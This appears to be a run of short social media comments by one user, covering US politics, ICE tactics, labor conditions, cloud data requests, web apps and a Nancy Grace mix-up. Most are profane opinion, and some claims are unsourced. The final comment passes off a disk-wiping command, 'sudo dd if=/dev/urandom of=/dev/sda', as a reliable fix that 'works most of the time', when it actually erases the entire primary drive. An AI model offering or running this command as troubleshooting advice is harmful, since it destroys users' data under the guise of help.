DHS says

Okay. That was a quickie. What else is in the Probably Didn’t Happen Times today?

With poor labor protections and shitty health care, factory jobs aren’t what they were 50 years ago. It’s a work-until-you-die career.

I would fully expect any cloud provider to do the same given a warrant, but I’ve heard some will provide data simply because it was requested.

TUIs FTW!

Pretty sure PWAs can run in the background.

As are all of his nominees, most of his lawyers, most GOP governors, at least half of SCOTUS, most Fox News anchors, and every right wing influencer.

The people already forced to sell their land don’t get shit.

ICE recently lured someone out of their house by claiming to be a construction worker (dressed up I’m guessing) that hit a parked car. 😮‍💨

Clearly an emoticon/emoji of Iron Man’s chest.

People have probably died after tying their shoes (20 mins before they were hit by a car). Doesn’t mean they died from tying their shoes. 😮‍💨

US GDP was around $29 trillion in 2024. Those numbers definitely came from his ass.

What’s to stop anyone from forming dozens of LLCs to get extra votes?

I mean, yeah, this is the system working as intended: corporations chasing profits and feeling no regrets about burning bridges in the process.

I think he’s made €120M as I’ve typed this.

A sensationalist journalist formerly on HLN.

So AI slop doesn’t get generated, just imagine the visual of the Egyptologist from The Mummy holding a GPU, saying, “What have we done?”, while covered in dickflies.

Before anyone loses their shit, different Nancy Grace.

“Listen, the reality is [that] this indictment was very thin to begin with, in my view,” Jeffries told CNN.

Then let him beat the fucking charges. Are we aiming for a justice system based on vibes now???

From what I heard the delay was due to lack of clarity on the wording of the guidance. They’re probably still going to dial back the recommendation.

Sometime that code will expire and you need to alternate to sudo dd if=/dev/urandom of=/dev/sda bs=4M. Works most of the time for me.